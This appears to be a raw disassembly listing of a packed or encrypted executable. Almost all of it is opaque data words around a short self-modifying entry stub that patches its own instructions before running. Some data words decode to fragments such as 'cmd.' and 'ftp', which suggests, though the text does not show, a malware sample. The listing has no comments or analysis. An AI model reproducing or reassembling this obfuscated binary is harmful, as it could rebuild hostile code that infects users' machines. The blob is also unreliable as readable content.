		dd 590C6BD1h, 0BAC45B5Ah, 0A356F00Fh, 0A7583032h, 38B2923Eh
		dd 1EFB0829h, 8E5D9AFCh, 40F7E9C0h, 0DA98E5A6h,	196E8245h
		dd 7A10260Bh, 7E9D7E27h, 14734490h, 87C2087Bh, 76A58D61h
		dd 3D8FB208h, 5556450Fh, 18106B85h, 5E5D18A9h, 10B85C9h
		dd 3C7833C5h, 71E84DADh, 0B4A1AB24h, 563D9504h,	6AED200Dh
		dd 20706F08h, 488F46DFh, 0ACCD794Bh, 0D2FF790Ch, 0CF1B8E7Bh
		dd 0A1EB4234h, 0BADC93B8h, 0F2CA9B1Ch, 6A5D8215h, 5D40B9FFh
		dd 95281755h, 762F9755h, 4163292Fh, 83A501Ch, 44255718h
		dd 36BEA1E2h, 7489A2ACh, 2AF3270Dh, 6C643D91h, 210E457Dh
		dd 3016FC68h, 0A1B42639h, 2DCC345Dh, 9DF1B359h,	0FC591662h
		dd 0CDA46660h, 331E8095h, 9230B8C9h, 913B5C3Fh,	97430B2Ch
		dd 1BC01841h, 5639F17Ch, 0E6C1828Bh, 8A963B03h,	1C08271Bh
		dd 266D2301h, 64E811BDh, 22760DE3h, 5181D744h, 189176FAh
		dd 858D09F1h, 8B297E5Ch, 8E590104h, 0A61363CCh,	54302F18h
		dd 5971734Eh, 577F13A4h, 8A2BDF0h, 40166271h, 293CE1B0h
		dd 271A2976h, 449825E6h, 837E0E84h, 36A3B1Ch, 2C68997Eh
		dd 36115785h, 0C7456BEBh, 0D9FD6085h, 8456AE78h, 0D9575A11h
		dd 0C1E08F7h, 8A1B1F85h, 0B5D434B6h, 0CC80ED2Fh, 5320761Bh
		dd 297B1101h, 0C2853E4h, 2CB45E36h, 26EB5F0Bh, 26A3E28Dh
		dd 2F2E6A31h, 924E36FFh, 66F4F9F3h, 22804DDDh, 0C95E2588h
		dd 5443DE6Eh, 0A13018F2h, 0B0919238h, 198D9440h, 7CE4B43Eh
		dd 565E06A9h, 0B8694868h, 1E7C5DE8h, 9B410489h,	561C421Dh
		dd 0C9499BF6h, 1A5580FAh, 82CE5B08h, 0A358026Ah, 3D11448Bh
		dd 1CB73024h, 0A10595C3h, 0CC234C54h, 8B531425h, 5014D526h
		dd 0C1819234h, 940C3E29h, 635D3988h, 64A13418h,	41EB5748h
		dd 2D93C68Eh, 0AE20842Eh
		dd 4008E061h, 18B26ABFh, 402D8470h, 74AE1DFFh, 95DD663h
		dd 98F03C12h, 33D1690h,	60E24B24h, 0F4FDC145h, 9DDC75D4h
		dd 0B7DB048Bh, 920BEB8Bh, 25F0545Bh, 4D8366A0h,	609CFFFCh
		dd 0E0942918h, 0D160A456h, 0A7DB563Ah, 6514253Dh, 0EE640835h
		db 0A4h, 83h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_40292E:				; CODE XREF: start+7j
		mov	eax, offset loc_40293D
		add	byte ptr [eax],	28h
		inc	eax
		add	dword ptr [eax], 1234567h


loc_40293D:				; DATA XREF: start:loc_40292Eo
		nop
		retn	1D41h
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0FFh, 50h, 64h
		dd 35FFh, 89640000h, 25h, 89C03300h, 90909008h,	92A5690h
		dd 81A57A45h, 12A4D423h, 1624B4Bh, 0EF6AE99Ah, 0E0CC71B2h
		dd 0B9C2B71h, 0FA90358Ah, 0B42C7E49h, 2DE6E546h, 0A5628C8h
		dd 0C8B8D217h, 7430CD90h, 0A9E9A372h, 70F93D42h, 8150FF32h
		dd 0A60482E8h, 0CC415478h, 0F96A5524h, 0BF59C88Eh, 83028375h
		dd 8901E87Dh, 0ABF351A1h, 0C41DE4AAh, 0F046A94h, 22B9EF86h
		dd 48EE7D16h, 4D40BB03h, 0F4118AEFh, 0AE1AC8D2h, 4137C2A0h
		dd 3BD308FFh, 9387F9C2h, 0C8352644h, 94EEF8C2h,	8D92C253h
		dd 724A5234h, 0AA047560h, 0D8549EF4h, 3B488092h, 74CB017Ch
		dd 1518A2Ch, 0F0DD4E6Ch, 0C73BFA06h, 0B314772Ch, 928AFC05h
		dd 5108A588h, 0EE34790h, 41F57628h, 81398024h, 6CFFD419h
		dd 0BBC32EC6h, 4857D1Dh, 0E6D0C172h, 9EAC05C7h,	0A350C2E7h
		dd 0C91AD92h, 0CCCE3075h, 0CEA0BF88h, 5925A521h, 83BC27A3h
		dd 831655EBh, 0E94BFF79h, 43042A48h, 1424A2A3h,	34223D17h
		dd 280DE272h, 55482D3Ah, 0A206EB50h, 0C30C08FBh, 0AB604E22h
		dd 390DEB02h, 173C6A1Dh, 5031209Ch, 0C4D105A8h,	0A803EB3Ch
		dd 4EDB5345h, 25C51697h, 26562215h, 983721FEh, 25FFE1C8h
		dd 2B6B2370h, 744415FDh, 0F75FC30h, 1AA1B899h, 2D894A48h
		dd 749360A4h, 0F514B822h, 0A9E17D5h, 480C8F0Dh,	0C3DC03ACh
		dd 0BBE3B87Fh, 6122A43h, 7C8408F8h, 20578911h, 3323596Dh
		dd 0B5AA95C0h, 69DD18D4h, 0A2DD21C6h, 315F4AC4h, 505141Dh
		dd 855EE6F8h, 8FE83421h, 0CA16220Bh, 4188BE7Ch,	3A058488h
		dd 830010D5h, 8AF472C6h, 50F27645h, 95200E85h, 53379300h
		dd 554C8D57h, 0AB61B61h, 0C13BE806h, 2B1D1F77h,	2BBCD5C8h
		dd 20B8410Ch, 0D95A8B03h, 851469C4h, 85C75BDFh,	8B42AA73h
		dd 4FF9B8Ah, 5FD0756Ah,	0BA44AF5Bh, 0EA1AFAECh,	7B128E12h
		dd 56753175h, 48D6742Fh, 1E48FD24h, 0DE1F5615h,	493135A9h
		dd 0FC0CE937h, 0B568C585h, 4C280BD9h, 835C2C5Fh, 6673D0B8h
		dd 0F6118B01h, 167401C2h, 1005FB26h, 1F05948Ah,	0C0904865h
		dd 361CEB8Ch, 84BEB002h, 6920421Bh, 519050B9h, 9CC31DA0h
		dd 1423DC5h, 4E49EBBFh,	4126A116h, 0A9319F9h, 4CAB115Ah
		dd 1E3EC88Fh, 4A54FE20h, 6132CF1Fh, 7A0A130Ch, 4F0E772Bh
		dd 0A9E93C33h, 4D59E0EBh, 5EBE9784h, 0C024B8C9h, 1275D26Dh
		dd 13FD616Ah, 21599229h, 74ECE3FDh, 8497DEB8h, 5F21BA07h
		dd 0E02C532Eh, 500AF879h, 0F97E0C50h, 133A5EF5h, 90FD9CA7h
		dd 1C20628Bh, 0F1297270h, 0B32D889Eh, 47C8388h,	0F92277E0h
		dd 0DF2D8668h, 75591682h, 10579416h, 3AC414E4h,	89DE2238h
		dd 174B7BD2h, 77172135h, 3171410Bh, 1C1B42A9h, 34A21F0h
		dd 0C683BF03h, 0F0E6980Fh, 1074A556h, 7568CF6Ch, 981546AAh
		dd 0AA8CA36Ch, 61A4CA88h, 0DD0D8403h, 8A074688h, 0DD80A326h
		dd 10487864h, 0A114C1ACh, 0C8D0F19h, 88C0A80h, 0EC095BBFh
		dd 3E787A14h, 811C502Bh, 724B31FAh, 14AC7007h, 9FE8EB28h
		dd 0EBC36C95h, 2704FCDEh, 41A7E10Fh, 2BF2B110h,	5A1A9771h
		dd 61C2090Eh, 0FEEC157h, 7AF1CEFDh, 49C969F0h, 4B27F804h
		dd 8D0ACB58h, 9A44018Ch, 0FA4878A5h, 8BF00B4Dh,	7C3130Ch
		dd 75F8120Eh, 4F9E07Fh,	60493F6Ah, 3B0C185Fh, 34A76CFh
		dd 134C13D0h, 886F704h,	0B2487508h, 0F90583FAh,	0BF1C7320h
		dd 0D3BAC8h, 14C8DEFh, 21D7F704h, 44B07C01h, 2B7509FEh
		dd 3981EDBDh, 0C18324EBh, 0A11F4DE0h, 0BC86225Dh, 0C827C4B0h
		dd 7943064Bh, 0F4A57704h, 89ACCA7Ch, 0FCC5BF0Bh, 0F86E5D03h
		dd 7D8DD51Ch, 0FFC1FB03h, 0A3834F04h, 87F8403Fh, 0BE60D05Fh
		dd 5898E12Ah, 0A0316DECh, 0FF552B87h, 3DA22543h, 49F88289h
		dd 0A3CA3B5Ah, 0E50576A7h, 84B6F45Eh, 83FB6838h, 0FA3B033Fh
		dd 4AEF0276h, 6B740CC0h, 51F2F85Eh, 3C9DBFA3h, 4386BABEh
		dd 21D208EAh, 0D117154h, 0BE0A1F0Dh, 6C944465h,	88251BEh
		dd 4914C053h, 0C4A29BFh, 0DFEC13Ch, 83920024h, 0D690EC7Dh
		dd 34390924h, 0B22EF927h, 0B341F03Ch, 62A59F9h,	0B7F94F0Ch
		dd 859D1E61h, 1E3B0C98h, 8A1F6375h, 0F0E8074Ch,	4D0E1698h
		dd 0B8C1FE0Fh, 3D257319h, 8EE47D80h, 0E83CB50Eh, 0D331CF8Bh
		dd 1909EFEBh, 518D0E5Ch, 18FDB244h, 255329DDh, 0E04FF110h
		dd 26211A54h, 20A90459h, 844A4F7Fh, 380961B8h, 4555248Bh
		dd 1A89F01Ch, 9135C8Bh,	44A4D8ACh, 7798A1FAh, 0DF64499Ch
		dd 7C0D8B43h, 3D161D76h, 56E45094h, 4803190Fh, 0AC80A60Ch
		dd 0C03F222Eh, 0FF511453h, 339120D7h, 90A1D57h,	0A10F0850h
		dd 1086BC3Ah, 0DA88A483h, 21C2588Ch, 934348FEh,	2BC3C50Bh
		dd 1490DC79h, 55046083h, 78E512FEh, 6C69C12Fh, 70116453h
		dd 13B60C68h, 0CF1014B2h, 67F524A9h, 0F399B98Bh, 0E0317004h
		dd 0C855CC90h, 4C3C7029h, 51EC111Dh, 9614484Eh,	5B3AE421h
		dd 54EDA2Ch, 50DFF17h, 12053B30h, 83360523h, 0D0482E8h
		dd 6B893B87h, 3EB4D10h,	1BA34BCAh, 0AD35890Ah, 0E55B712Dh
		dd 31672D14h, 57D39D30h, 5B823C0Dh, 48131C32h, 0F0770817h
		dd 266BCD39h, 7D8F3549h, 0FFCEE10Eh, 42EAEED3h,	64817FEEh
		dd 3510EBF4h, 6C92827h,	0E8D3F633h, 1435BC1Fh, 0F54F6AA1h
		dd 8802098h, 0A419733Ch, 0B73DE24Bh, 0FE305823h, 0E675CF0Bh
		dd 14C33E83h, 33639BCCh, 1107E772h, 0DA8B7975h,	2708D8F5h
		dd 1105D915h, 34BCE6EBh, 734B59B1h, 87BF811h, 297A0D9Fh
		dd 0EDEB558Ah, 0A2261038h, 301CA80Dh, 464BEE91h, 0F8B23460h
		dd 2FDB8522h, 3AA11474h, 9F596335h, 1DD10B8h, 2DA94354h
		dd 42D27038h, 0AD340533h, 0A6361D89h, 2E94E72Ah, 4B4CC8FAh
		dd 8CA45C6Fh, 31B78990h, 4A44DD81h, 0D2373E89h,	24703213h
		dd 4DE0855h, 83FC6583h,	0BE84885h, 18DF8BD6h, 9156179Dh
		dd 5D387BA5h, 3DD03B6Bh, 39F0FEFEh, 74D70B09h, 6089E2E9h
		dd 0BBFF3381h, 51592C5Dh, 4C77304Dh, 75CEB1C2h,	6A67980Dh
		dd 5FCBC020h, 57CC985h,	47E1D103h, 188BF7EBh, 88F95443h
		dd 80BA2B0Ah, 1F7CF15Dh, 4E4EFEC1h, 7E3F8583h, 3B5EF990h
		dd 229C98F7h, 259B010Dh, 21456116h, 128F2B7Dh, 3855A04Ah
		dd 40F59DB0h, 5C23ECF4h, 0E144883Bh, 750FFE09h,	6AEB35h
		dd 0B21EC93h, 18B331EBh, 96A02C48h, 66B1A291h, 54B51921h
		dd 2D99106Fh, 0E24E86D4h, 6D26C2Ah, 3888B07Ah, 965CF87Dh
		dd 57B05F93h, 85915008h, 11459438h, 94F17CAAh, 69A60C86h
		dd 90C39746h, 44062064h, 7D2C0BFEh, 9A26C529h, 0B4F7F03Bh
		dd 8BCCC625h, 8DCE588Bh, 0B3B0915h, 507E90D1h, 52EBAF7Ch
		dd 0DC2292Fh, 0B7C54E8Dh, 0F47B090Fh, 0AEBC8AB2h, 86BE2F6Ch
		dd 3709EE17h, 73B6B54h,	0A890B74h, 0FC04052Bh, 7A47B356h
		dd 0D176F075h, 13015046h, 0A0FC4932h, 440E6373h, 203D798Dh
		dd 3B1A893Eh, 0C3F3931Dh, 0B1997B12h, 2507A4A5h, 25026C33h
		dd 428D0889h, 9B09C604h, 780D0803h, 0FF1E60A7h,	75C1173Bh
		dd 89600530h, 0E0739450h, 57898CEEh, 64889862h,	72C73B8Fh
		dd 9D8D8912h, 0A84CC128h, 68100DA2h, 0E14149C4h, 4688B069h
		dd 34244F31h, 60ECB381h, 10468968h, 6A2A0E74h, 200B6804h
		dd 76675493h, 1ADA15A9h, 0ABF00C65h, 57102C76h,	26D0D2FDh
		dd 4E5C7D98h, 0C8C64125h, 5EC047Eh, 844B63ABh, 57BBDCC5h
		dd 4A2CA358h
		dd 0E957E04Fh, 41C98771h, 0E2DB3392h, 0E05048C6h, 30C38943h
		dd 32FB6938h, 0FC5A2E82h, 83343013h, 4033A887h,	4062508h
		dd 244ACE61h, 86A0FB1Fh, 0E0B8E7C1h, 680C791Ch,	80881010h
		dd 0CAAF8C23h, 68D26A31h, 38593628h, 7030978Dh,	77FA3B32h
		dd 47653C7Ah, 0F38748F0h, 0FEC8841h, 0BBFBF535h, 0C70F1DFCh
		dd 55F09140h, 0F81EA543h, 0D48F0A9h, 0E880C704h, 5150223h
		dd 2D8F5789h, 76CA3B61h, 55416BC7h, 0F8050C4Fh,	6E74FD39h
		dd 0AD744F5Fh, 0C4A8D0Dh, 9008DA12h, 449E6406h,	91BC7586h
		dd 468A07E4h, 0C1C83443h, 74C0840Ch, 4E7C887Bh,	9037504h
		dd 67A20478h, 0D3CB8B04h, 507FB0EAh, 0C3486698h, 16B2D6ACh
		dd 0C1724010h, 548C6842h, 60273122h, 6776FFCEh,	19B03531h
		dd 2FA08068h, 10D64FD4h, 74052A62h, 27706850h, 65C8511h
		dd 2B44A308h, 48D91ADDh, 0C46A10Fh, 16740B50h, 3E93D0FFh
		dd 48A10EC0h, 52811A4h,	4A9D1253h, 120433AFh, 8C401522h
		dd 9E92C33Bh, 0F0E6F84Bh, 43570C13h, 53567A90h,	18D0D9DAh
		dd 0C6F7140Bh, 0D24A9B03h, 0D06A6210h, 256FEAD3h, 0EA7021EBh
		dd 7454C897h, 1407BC25h, 75852029h, 77F1B2EBh, 0E383511Fh
		dd 210D74CAh, 0B52F3D4Ch, 4DD21D89h, 5F5E5B09h,	622A76C3h
		dd 3B891274h, 508A7F84h, 0EE758512h, 666C3B23h,	56FA5E33h
		dd 95794695h, 0C8C9D844h, 64DB56AFh, 0EE162806h, 0DE448EC6h
		dd 1C1E892Ch, 75308C0Ch, 18EB74C6h, 0DCE27981h,	0E153226h
		dd 4C2102Eh, 54A8D233h,	0AAC33EAh, 7500A7Ch, 0F8557560h
		dd 4A85D5B1h, 0E2CC4AA4h, 1C448D98h, 162BAC65h,	7B236C3Dh
		dd 0D6FBF746h, 0DF64A583h, 0DE4918B6h, 0E3AC9208h, 280F48E5h
		dd 0EB20241Dh, 8D534B22h, 0B43990E7h, 2230FED0h, 6C05C759h
		dd 3986B0B5h, 7E14127Dh, 4ADDE310h, 590DFE44h, 49DF1FFEh
		dd 37B6CA1h, 1C2E1D19h,	0B362122Eh, 9249D0FDh, 7939D545h
		dd 0D32AB0F2h, 8A204B45h, 0E8D07AFCh, 7B09922Fh, 0C4FC7124h
		dd 588B6220h, 0F4E45B6Fh, 5A8A9C6Bh, 1B042515h,	0C49900EDh
		dd 442EDC84h, 0B913EBE8h, 4EF4DEF9h, 7236125Fh,	4B74F4D0h
		dd 6A5BC766h, 1D444D62h, 4DF51358h, 461BF242h, 1FAC22A6h
		dd 8089F08Bh, 74F73BD8h, 4517F632h, 0D19040Dh, 0F2911C7Eh
		dd 0D63B28B2h, 0DB1E7F2Bh, 22CA3323h, 478FB4B9h, 0C8233BB9h
		dd 7F85C7E5h, 0B40221E5h, 0DC503C36h, 0B4A6E0D4h, 10D31242h
		dd 0FDD8B357h, 0B43274DFh, 0BEE4CB56h, 9C742A68h, 75B48090h
		dd 0EB08C504h, 528D6606h, 95206824h, 0C094D6A1h, 0B393D2C0h
		dd 0B002EE71h, 9572A6A8h, 9C54866Ah, 56D28585h,	0F4FFF882h
		dd 3A381C32h, 8B0B5FC8h, 2FE149F1h, 5E1B9DF3h, 3F2B058Dh
		dd 99C28403h, 7A6674A1h, 73A90F2Fh, 0E4527D8Bh,	49F49EFh
		dd 0A329BBD9h, 0F1E09B3Ah, 840F4BA8h, 0B8314AC0h, 0A13C184Bh
		dd 2999D008h, 0F62009FCh, 0C2E09775h, 42174BA8h, 21354BA8h
		dd 0F9F9940h, 8409918Ch, 74447C22h, 1264896Ch, 0E0D4295Ch
		dd 4BA86257h, 0C0F11112h, 22CC0991h, 0E04D9DE0h, 4D402156h
		dd 354CF062h, 6E4C4888h, 58994DA8h, 9917819h, 0E0A64EA0h
		dd 0E4D40A1h, 1A4D40A1h, 0F45C32A4h, 9F980AFh, 0C1F9904h
		dd 1C121409h, 37482424h, 5DE051A7h, 501920ABh, 991580Dh
		dd 9D7C2268h, 1776E045h, 0A94825FFh, 52E97636h,	8C184406h
		dd 11D8250h, 12FF917Dh,	570C2A05h, 1720919h, 69746E75h
		dd 0CB20656Dh, 0CB6FA7CFh, 4C54F240h, 0D2534F38h, 0A0D1B0Eh
		dd 4E49E859h, 0B80FA547h, 4D4F4406h, 12852641h,	30365201h
		dd 128C3832h, 6190202Dh, 3D6C6220h, 693D6F74h, 7EA6DF72h
		dd 1C7A6777h, 700A3F68h, 10284838h, 6F6E8337h, 0A7C6174h
		dd 0EC686775h, 61337073h, 3A664863h, 77146CF1h,	4DB73969h
		dd 29E5FB0Eh, 0BD35CE38h, 0BC647411h, 70188435h, 76587275h
		dd 0F174EA69h, 0A6844B4h, 3C2463A6h, 0B41ADFF6h, 34283252h
		dd 5F9B609Fh, 3478CB56h, 10B22FBAh, 0E342DD07h,	31156047h
		dd 27E7F839h, 9EB37D70h, 21F37364h, 0F9E8E664h,	38232C4Bh
		dd 834A8E36h, 4664B282h, 2058AD1Ah, 0CF374724h,	0AD6C8A6Dh
		dd 0C068A83Ch, 2218616Ah, 306B630Ah, 2118B7F2h,	0B851B935h
		dd 65F68DBh, 724431A3h,	7001246Dh, 3F6782CFh, 96426DBDh
		dd 0BC3742FEh, 0A739E230h, 5622ED50h, 6D665642h, 895E7410h
		dd 0DE1A382Ch, 7550FF39h, 60917329h, 2C20614Ah,	8AC26651h
		dd 83676EDFh, 350C6F3Ch, 27256A3Bh, 24805639h, 0C2352E4Dh
		dd 2C663A0Ch, 44DEF556h, 2B4338ABh, 9D524DFBh, 62AA4CCEh
		dd 792839B5h, 5D0A6828h, 8845C417h, 24CA210Fh, 3AC3D550h
		dd 2E413720h, 293C0502h, 4DE106E6h, 0DA6B5ACCh,	0B33EF677h
		dd 0C39E400h, 9470909h,	614C7465h, 0D3414784h, 50DA7617h
		dd 7C75C341h, 1028684Ch, 0AA0D5765h, 9C077664h,	61137397h
		dd 0D942F367h, 75C14178h, 333A40EEh, 642E2632h,	848213Fh
		dd 20848FEh, 660C2049h,	9B611B2h, 6C562C29h, 2019A646h
		dd 542950F0h, 0D0421455h, 4A180457h, 0DE592840h, 51042988h
		dd 6F13810h, 29FC0358h,	663C3C51h, 12E1296Ah, 4428967Ch
		dd 515840ACh, 0DC12F8ECh, 0C820E839h, 20913209h, 0CCD40140h
		dd 0EA09E081h, 0FE12F489h, 844C0825h, 891A0910h, 243A1224h
		dd 9154484Ah, 447C2268h, 0AC899C8Ch, 0C422B812h, 85A2456h
		dd 22A891B4h, 8692449Ch, 62127489h, 40484C24h, 28223491h
		dd 880C1A44h, 0F08159FEh, 0CE24E012h, 0B229E24Ch, 4CD2A1C8h
		dd 9C89C21h, 2A6C9186h,	0CE64B8BAh, 0F248E009h,	0E2966B8h
		dd 36224409h, 0C145289h, 8C819A01h, 0EA8A1C93h,	73460857h
		dd 2803206h, 1240D09h, 13911048h, 17440922h, 12038904h
		dd 480C2439h, 4034910Bh, 0D9CC8A3Ch, 0F178099Ah, 69925222h
		dd 7702930Eh, 0A672F909h, 91866D0h, 52455355h, 44911A94h
		dd 638F97A4h, 687BFC41h, 4C131261h, 0C974EE52h,	48D63910h
		dd 63297C76h, 5F1F0C70h, 480D587Dh, 770A445Ah, 0A74A0CAh
		dd 0CAE3444Dh, 691E926Bh, 159E74CFh, 7024B253h,	6423291Bh
		dd 48772C3Ah, 0C34D6772h, 44197564h, 4E086946h,	5A12FA35h
		dd 0E53A8F43h, 30646854h, 7845D391h, 4C065F71h,	82178460h
		dd 2906C3A8h, 0F4479E9h, 2AFA7543h, 5232D108h, 6D99226Eh
		dd 4D4352A1h, 1085175h,	0B054200Ch, 436B2EBDh, 506C3407h
		dd 79299120h, 1C411483h, 73446193h, 6E4CDF44h, 0FCA67954h
		dd 39294B48h, 2C4CA44Eh, 0F2535750h, 0C638915Fh, 61988A49h
		dd 8A6EA1E9h, 0CA3E712Ch, 0F6530923h, 4950C6E3h, 4529044Eh
		dd 52822954h, 44436765h, 524B7833h, 443D0E79h, 564CE6ECh
		dd 75683AB8h, 4F4412F4h, 0A63E1996h, 0C762E861h, 0BA5374F4h
		dd 6DBB3FC6h, 89BA6828h, 2EA16E91h, 89072A26h, 0CE494535h
		dd 0B1F344CDh, 8E4F4950h, 706D630Ah, 61488A67h,	36C034C6h
		dd 1ACF6612h, 6F680545h, 12342275h, 0EB20F426h,	9FDF68F9h
		dd 826BFEEh, 1296B27Ah,	8A329442h, 509250D3h, 4966EE70h
		dd 0EED0286Fh, 47E96D38h, 2892220Eh, 990563Ah, 6F48737Eh
		dd 799DD0DCh, 4BA44F99h, 0BDA654C4h, 2913A57Eh,	5115E8BAh
		dd 5468F555h, 78AD0C75h, 0EC947024h, 6CD4A4A2h,	82A0DEC6h
		dd 0A0D6E5F3h, 14C69290h, 1A417367h, 3C9957FCh,	43656486h
		dd 547209A6h, 9A684D6Fh
		dd 98D07942h, 0A92F907Ah, 8E9A180Fh, 0EAC7A4Ch,	126A3491h
		dd 658B6464h, 4F481041h, 70792854h, 14484E0Fh, 2F4DDF2Ch
		dd 0E796F14h, 2A9072D5h, 0DA1A5627h, 0C82AB528h, 9DC6A0Bh
		dd 1026C74h, 0BA086977h, 0A14AFA4Dh, 0A0BCA570h, 21D185C7h
		dd 48A34882h, 2B411C74h, 7157C412h, 0B3225043h,	41340C42h
		dd 4F16301Ah, 19D14D45h, 6C41C780h, 9A810819h, 270F3272h
		dd 0F4A521Ch, 4D434CC1h, 0DC602604h, 5712108Dh,	5B16C08Fh
		dd 0B1FFCA3Dh, 48806930h, 4A5A10EBh, 660BC933h,	80017DB9h
		dd 0E2990ABBh, 5EB1CFAh, 9381E5E8h, 0F7989570h,	38FDC3F0h
		dd 70CA96Fh, 63DED912h,	3D3485E9h, 413E910Eh, 0C1A5EA1Fh
		dd 9AE187EDh, 0B9E7F86Ah, 0D7FC62EAh, 74AA8D03h, 0EBC8CECFh
		dd 6B1900A6h, 6AC097F3h, 9175ED3Fh, 5E1AC601h, 707BDC9Dh
		dd 12C71087h, 0BDDF2054h, 483A5A9Ah, 0AA580778h, 80EDFF50h
		dd 1CBD85F9h, 1E9B6FFEh, 0F912998Dh, 1A6ED863h,	9F975F3Dh
		dd 0C006F349h, 0C0D31E71h, 0CFCB941Ah, 6531CE66h, 9CF3D0C3h
		dd 37ED2691h, 98C703C9h, 632C9BE6h, 9E5E2A75h, 4B9D99C0h
		dd 1059AA0Eh, 89F3C1DEh, 289BCACEh, 0D363669h, 610D466Dh
		dd 751A9061h, 3EEED7DDh, 10C038C0h, 757B179Dh, 0A1CF3262h
		dd 0D900A506h, 38DF5EFFh, 148798B5h, 0FAC989DEh, 2C81B87h
		dd 5E086C67h, 0F4FAA5E0h, 2A996EFDh, 7AB8C9EFh,	0EFDBCB79h
		dd 8DCA78Bh, 3584C77Dh,	60EC311Ch, 248C46C8h, 0C0C34B02h
		dd 777B32h, 6776715Ah, 0FCDEF8FBh, 0EBC9ED01h, 0FDD8FAF6h
		dd 0EAA7B7C7h, 1EDA9913h, 68EDF80Ch, 0D81DCF12h, 0F0E1DCE3h
		dd 0B1F1CDF1h, 0F6D5AE29h, 7C7E0ABAh, 0E0F9F7FBh, 0EAEE3081h
		dd 0CFAAC6ABh, 0F9B11EBDh, 86F25466h, 0F0FB24C3h, 0F5483AF7h
		dd 8F7AEAB7h, 7CFAF886h, 0DBEBE951h, 8CFEF6FBh,	9CE4208Bh
		dd 0FF0B859Fh, 19424D53h, 0C8E51875h, 0FEE28A79h, 6207A7h
		dd 20435002h, 570FDDBAh, 1E4B524Fh, 477776FAh, 0C4D413Ch
		dd 30302E31h, 0F54EF24Ch, 0BB0B06A2h, 6593274Ah, 6B3B08E6h
		dd 42B8FE67h, 2E331EC1h, 51986131h, 5832484Dh, 33236CB4h
		dd 162EED3Eh, 0DC2054E4h, 1630DB32h, 0A47132F5h, 0C738C91h
		dd 10E78507h, 487D0C07h, 531104C0h, 2027150Ah, 61C2D9Bh
		dd 9A366980h, 1AE29D98h, 9740CAFEh, 99E00882h, 0B9435A88h
		dd 4CAF4A58h, 38204C70h, 77733677h, 23055EAh, 8D0E0A04h
		dd 24350A39h, 2E3CCDDEh, 2B4F0E10h, 8D8ACDAh, 0DA438420h
		dd 9F5957C8h, 6503220Bh, 32460501h, 8994724h, 6380F40h
		dd 0FD838672h, 15204095h, 48E0888Ah, 44E04FE0h,	198180h
		dd 0E4F27A6Ah, 0AF281C49h, 74253002h, 97536710h, 485CD9E2h
		dd 6C8D75E0h, 0E0A10454h, 0BE10A25Ch, 45B316Dh,	67326213h
		dd 4361089h, 78CA3738h,	49393099h, 4338156Ch, 3F512422h
		dd 6439C201h, 1DA26442h, 4DC0804h, 1833F710h, 78FDEC8h
		dd 3016050Eh, 2019F17h,	41AB27A7h, 1A20292Bh, 8C110329h
		dd 48DA6C15h, 0C1722D75h, 2B4A6379h, 466C9C28h,	0DC50B225h
		dd 0F48946Eh, 1B1CA77Dh, 0B7A62954h, 59C92666h,	50B8CA46h
		dd 0CC4566CCh, 86FF1F8Ah, 0D1710337h, 0B8CF8872h, 348504BBh
		dd 6A06000Ch, 0C391928h, 11D0B107h, 0C000A89Bh,	542ED94Fh
		dd 5D60F5h, 1CEB8A88h, 0E89F11C9h, 2B0A3D90h, 0D2604810h
		dd 0AFF40C70h, 2160C4A4h, 9A0B0CA0h, 7AA41428h,	10EE85B1h
		dd 620CA0C4h, 0E418E88h, 3EC0409h, 95086064h, 50914014h
		dd 15707C8Fh, 82BDCC0h,	1489D17Eh, 85780EBFh, 5BAB0113h
		dd 0E48E9A6h, 14F84810h, 21762F88h, 0E13FEFFh, 54402432h
		dd 908E73Bh, 84D8313h, 86B98F44h, 0DAB705EEh, 64102F25h
		dd 93200Ch, 0C80DAD08h,	0F02CC08h, 0B880D849h, 70014018h
		dd 0F842184h, 80285273h, 4B3C958Dh, 4202C880h, 6C310F84h
		dd 13032E2h, 7091A89Ah,	6F893457h, 0E301D014h, 0CD6B8420h
		dd 0B7C69646h, 123C603Ch, 2477515h, 754E1CACh, 24F268DEh
		dd 18649878h, 8481009h,	40F844B8h, 0E889F068h, 30353110h
		dd 4B4F200Bh, 0F4C48E0Ah, 3651DE08h, 4E10338Ah,	9C3111FEh
		dd 534C0463h, 759CEC41h, 44525625h, 0C261723Eh,	78652E02h
		dd 78EBD3D0h, 3820398Ch, 926A966h, 2587E825h, 6731F073h
		dd 103E9030h, 2E646D63h, 70746614h, 6E61871Bh, 6D79474Eh
		dd 0B6737582h, 0D5A89518h, 6962410Ah, 3B1C5B6Eh, 9CC37A67h
		dd 0FC755F69h, 7041AEBDh, 6215201Bh, 0C8E61279h, 8A19BBF1h
		dd 173A732Dh, 0F57B40C8h, 0F3FFAF2Dh, 3A6DC56Ch, 3180CC28h
		dd 302E3732h, 193405DEh, 630D1EBDh, 8E475C3Ah, 0CB2E6780h
		dd 0E2FCA78h, 778852DDh, 14BAE35Ch, 2570691Fh, 6EBF623h
		dd 66140440h, 1CEC8103h, 83E4FF07h, 9806C35h, 55175184h
		dd 0E885449h, 88CEEF45h, 2E158B08h, 2C189C03h, 554F5021h
		dd 4AE22052h, 5208095Bh, 43A891C6h, 59B22E31h, 3B722D41h
		dd 706DD404h, 1264EFA8h, 61568269h, 9DD1B889h, 0F9DF8A0h
		dd 4DC17D66h, 2D343053h, 0E8C731CDh, 646C7576h,	8761466Eh
		dd 4B587941h, 9E32B681h, 74354978h, 65527219h, 64188C17h
		dd 42AA6781h, 2F50857Dh, 0B77B1E0Ah, 6D0C4F22h,	0A7F9616Eh
		dd 89635A6Ch, 1E944257h, 77272273h, 0EE28B763h,	79F8746Eh
		dd 58338CADh, 50C41E33h, 5A4E766Ch, 0B8685CA3h,	4ED32026h
		dd 793AC474h, 353F26A2h, 6B105670h, 8E668A6Ah, 33236D15h
		dd 0D42E0277h, 0B6DE81EDh, 65282487h, 8ED99562h, 0CC8F3450h
		dd 295F6854h, 4BCCA0FBh, 0AFC8D6Dh, 6B53043Ah, 21D24E79h
		dd 20888C54h, 0C26F5266h, 0B96AB193h, 79EB529Ch, 1148AA9Dh
		dd 6572EEB1h, 7C6E92E3h, 39125A70h, 1E6E0824h, 63346FD9h
		dd 4481B67Ch, 2B647672h, 935F3B09h, 2618CED9h, 0ECE47973h
		dd 54FD67F0h, 530D40E5h, 5754464Fh, 27D24148h, 3D35C55Ch
		dd 891C675Bh, 4C25045Bh, 1B3EFF3Bh, 9FBDA92Ah, 2BEF0E98h
		dd 0E68F1340h, 158BB14Fh, 2F65104h, 0FD1628F2h,	8248F30Ah
